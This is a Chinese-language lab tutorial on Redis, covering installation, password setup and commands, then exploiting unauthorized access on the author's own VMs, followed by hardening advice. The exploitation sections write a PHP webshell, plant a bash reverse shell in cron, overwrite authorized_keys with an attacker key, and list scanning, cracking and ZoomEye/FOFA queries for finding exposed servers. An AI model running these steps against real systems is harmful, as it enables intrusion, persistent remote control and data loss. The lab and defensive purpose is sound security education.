一、Redis介绍

Redis(Remote Dictionary Server)译为“远程字典服务”,它是一款基于内存实现的键值型 NoSQL 数据库, 通常也被称为数据结构服务器,这是因为它可以存储多种数据类型,比如 string(字符串),hash(哈希散列),list(列表),set(集合)和 sorted set(有序集合)等。 可以对内存中的数据直接存取,也可以写到硬盘中去。默认端口为6379

Nosql数据库的特点是:

  1. 容易扩展:NoSQL数据库种类繁多,但是一个共同的特点都是去掉关系数据库的关系型特性。数据之间无关系,这样就非常容易扩展。无形之间,在架构的层面上带来了可扩展的能力。

  2. 大数据量、高性能:NoSQL数据库都具有非常高的读写性能,尤其在大数据量下,同样表现优秀。这得益于它的无关系性,数据库的结构简单。 一般MySQL使用Query Cache。NoSQL的Cache是记录级的,是一种细粒度的Cache,所以NoSQL在这个层面上来说性能就要高很多。

  3. 灵活的数据模型:NoSQL无须事先为要存储的数据建立字段,随时可以存储自定义的数据格式。而在关系数据库里,增删字段是一件非常麻烦的事情。如果是非常大数据量的表,增加字段简直就是——个噩梦。这点在大数据量的Web 2.0时代尤其明显。

  4. 高可用:NoSQL在不太影响性能的情况,就可以方便地实现高可用的架构。比如Cassandra、HBase模型,通过复制模型也能实现高可用。

nosql数据库种类繁多,但是它们都有一个共同的特点,就是它们都去掉了关系数据库的关系型特性,使用键值型

二、Ubuntu部署Redis

1、下载和安装

我这里使用的是Ubuntu进行下载

wget http://download.redis.io/releases/redis-4.0.9.tar.gz

img

解压

tar zxvf redis-4.0.9.tar.gz

img

移动解压后的文件夹到/usr/local/redis目录下

sudo mv ./redis-4.0.9 /usr/local/redis

进入到/usr/local/redis目录下,make test编译一下

make test

img

报错了,执行以下命令即可

make distclean && make

错误的本质是我们在开始执行make 时遇到了错误(大部分是由于gcc未安装),然后我们安装好了gcc 后,我们再执行make ,这时就出现了jemalloc/jemalloc.h: No such file or directory。这是因为上次的编译失败,有残留的文件,我们需要清理下,然后重新编译就可以了。

提示以下信息说明没问题了

img

再次执行

make test

​ 大概8分钟左右的编译后,出现绿色字体的信息,说明没问题

img

进入/usr/local/redis/src目录下,看到有以下命令,说明的确没问题了,编译安装成功

img

# 方便找到
sudo mkdir /etc/redis
sudo cp /usr/local/redis/redis.conf /etc/redis/

2、修改配置文件

修改并保存配置文件

img

img

3、运行Redis服务端

以/etc/redis/redis.conf的配置文件启动Redis服务端

./redis-server /etc/redis/redis.conf

img

查看是否开启Redis

ps aux | grep redis

img

4、客户端连接服务端

./redis-cli -h 192.168.1.117

img

可以看到,当保存了数据后,src目录下会有dump.rdb,看一下可以大概知道,这应该存储了当时我们创建的键值对(当然,如果通过cp命令将redis-server加入到/usr/bin目录下,那么在当前目录下运行的redis,那么就会在当前目录下生成dump.rdb,不一定在src目录下)

img

这里可以知道,默认情况下,连接Redis是无需密码的,因此日常可以会因为管理员疏忽而存在Redis未授权登录的问题(用Telnet也可以连接 telnet IP port)

因为官方说明save默认保存的是rdb文件,[email protected]?ctime就是rdb标识符,实战可以把它看成脏数据

img

三、Kali安装Redis-cli

1、下载安装

wget http://download.redis.io/redis-stable.tar.gz

img

解压

tar -zxvf redis-stable.tar.gz

img

可以看到有个makefile,直接make,全局生效

img

2、加入环境变量

sudo cp redis-cli /usr/bin

img

3、连接Ubuntu的Redis服务

redis-cli -h 192.168.1.117

img

四、设置密码登录

之前说过,默认情况下Redis是免密登陆的,那么就存在未授权登录的风险。那么如何设置密码登录呢?

打开配置文件,配置密码为haha123,如图所示

requirepass haha123

img

关闭Redis服务

shutdown
ps aux | grep redis

img

img

启动Redis服务

redis-server /etc/redis/redis.conf
ps aux | grep redis

img

客户端连接

auth [username] password
或者直接
redis-cli -h [ip] -a [password]

img

五、常见命令

命令 描述
info 查看信息
flushall 删除所有数据库内容
flushdb 刷新数据库
KEYS * 查看所有键,使用 select num 可以查看键值数据
set test “who am i” 设置变量
config set dir dirpath 设置路径等配置
save 保存
get 变量 查看变量名称

六、相关漏洞

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:

1、Redis 远程代码执行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。

2、CVE-2015-8080

Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。

3、CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

4、CVE-2013-7458

读取“.rediscli_history”配置文件信息

七、Redis写文件

1、写入Webshell

只要知道 web 绝对路径并且权限足够就可以写个 webshell

192.168.1.117:6379> CONFIG SET dir /usr/share/apache/htdocs/ #这里是站点绝对路径(我这里Ubuntu没有安装中间件,只作为演示参考)
OK
192.168.1.117:6379> set shell "<?php echo system($_REQUEST[cmd]);?>"
OK
192.168.1.117:6379> CONFIG SET dbfilename shell.php
OK
192.168.1.117:6379> save #将内存中的数据保存到dbfilename中
OK

img

img

MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk。 如果报错无法向磁盘写入rdb,尝试将stop-writes-on-bgsave-error设置为no,如config set stop-writes-on-bgsave-error no

2、计划任务启动反弹shell

在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

(1)命令初测试

Kali开启nc监听

img

Ubuntu执行命令

bash -i >& /dev/tcp/192.168.236.129/9999 0>&1

​ 此时成功反弹shell到nc

img

命令是没有问题的

(2)/var/spool/cron/用户名 测试

192.168.1.117:6379> ping
PONG
192.168.1.117:6379> config set dir /var/spool/cron/ //每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
OK
192.168.1.117:6379> set haha "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.105/9999 0>&1\n\n\n" // 直接往当前用户的crontab里写入反弹shell,换行是必不可少的。每分钟尝试连接
OK
192.168.1.117:6379> config set dbfilename root
OK
192.168.1.117:6379> save
(error) ERR
192.168.1.117:6379> save
(error) ERR
192.168.1.117:6379> get haha
"\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.105/9999 0>&1\n\n\n"
192.168.1.117:6379> save
OK
192.168.1.117:6379>

img

之所以会保存错误是因为当前用户对该文件夹没有写权限,为了实验效果修改再次保存即可

img

这里也引起反思,实战中碰到这样的问题该怎么办?

检验无错误

img

img

cron计划任务服务也已经开启

systemctl status cron

img

但此时nc却迟迟未收到反弹shell

img

注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

按照一个前辈的说法就是Ubuntu的计划任务,前面有乱码它将无法执行。而如果换成CentOs就可以,因为CentOs可以跳过乱码,执行正确的能执行的计划任务代码。这里因为我未部署CentOs虚拟机,就当作我反弹成功了,后续有机会再补上CentOs

一个师傅总结的一些定时计划目录

/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx

​ 看了上面才知道,原来当初设置数据库名字为root是对root用户,而这里我的用户名是xdd,因此重新设置一下

img

img

nc依然没有收到shell,嗯!这样实验才有说服力,的确是Ubuntu的问题

img

(3)开发不常用计划任务

根据一个师傅的说法,如果尝试以上面这种方法写bash反弹,会导致覆盖原来有的crontab计划任务,因此极其不推荐直接写到/var/spool/cron,一旦运维在crontab中配置了一些脚本启动,盲目的覆盖,会对业务产生极大的破坏

正确的做法是:选择一个开发不常用的计划任务

以centos7为例子

img

对应的含义如下:每天/每日/每小时/每月/每周

可以写文件到/etc/cron.hourly/

可以覆盖0anacron文件 or 创建一个可执行的sh文件

覆盖0anacron,正常情况下,没人会在这里写计划任务,可以覆盖它:

img

创建可执行sh文件,如下所示:

img

这样就不会覆盖文件,比较保险

3、写SSH key

利用前提

  1. Redis 服务器运行在 root 用户下(否则还要猜测用户)
  2. 此服务器对外开启了 ssh 服务
  3. Redis 未授权访问漏洞

Linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/。比如我这里用户是

只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了

开始实验!

由于我Ubuntu的xdd用户目录下没有.ssh文件,那就自己创建一下

ssh-keygen -t rsa

img

img

Kali的id_rsa.pub,这是Kali的公钥

img

将公钥信息写入到key.txt中

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

img

将xxx键的值设置为key.txt的内容

cat key.txt | redis-cli -h 192.168.1.117 -a haha123 -x set xxx

img

将攻击者的公钥文件覆盖写入到用户的authorized_keys中

config set dir /home/xdd/.ssh
config set dbfilename authorized_keys
save

img

img

如果本来就有authorized_keys文件,那么将会被新的覆盖

​ 此时用户那边有我们攻击者的公钥文件,攻击者就可以使用私钥免密ssh登录到用户的主机上

ssh -i /home/kali/.ssh/id_rsa [email protected]

img

八、Redis攻击思路

(1)内网端口扫描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

(2)通过文件包含读取配置文件

(3)Redis配置文件中一般会设置明文密码,在进行渗透哦时可以通过webshell查看其配置文件,Redis往往不止一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透

(4)使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令为:

node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555

需要安装node:

git clone https://github.com/nodejs/node.git 
chmod -R 755 node
cd node
./configure
make

(5)msf下利用模块

auxiliary/scanner/redis/file_upload    normal     Redis File Upload
auxiliary/scanner/redis/redis_login normal Redis Login Utility
auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner

九、Redis漏洞挖掘

  1. 对“port: 6379”进行搜索:https://www.zoomeye.org/searchResult?q=port:6379
  2. 除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。
  3. https://fofa.so/ 关键字检索:port="6379" && protocol==redis && country=CN

十、Redis基本安全策略

  1. 端口修改为其他端口(默认为6379)
  2. requirepass设置复杂的密码
  3. 最好不要用Root用户去启动Redis,而是单独为Redis设置一个账号
  4. 设置本地localhost不允许外部访问,这样就不能让攻击者去爆破Redis的连接密码
  5. 开启保护模式protected-mode(默认开启)
  6. 检测Key,通过本地登录,通过“keys *”命令查看,如果有入侵则其中会有很多的值
  7. linux下需要检查authorized_keys:Redis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh,/root/.ssh/authorized_keys 被覆盖或者包含Redis相关的内容,查看其值就可以直到是否被入侵过
  8. 检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)
  9. 对网站进行webshell扫描和分析:发现利用Redis账号漏洞的,则在shell中会存在Redis字样。
  10. 修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)

【可参考加固修改命令】

命令 描述
port 修改redis使用的默认端口
bind 设定redis监听的专用IP
requirepass 设定redis连接的密码
rename-command CONFIG “” 禁用CONFIG命令
rename-command info info2 重命名info为info2

十一、参考链接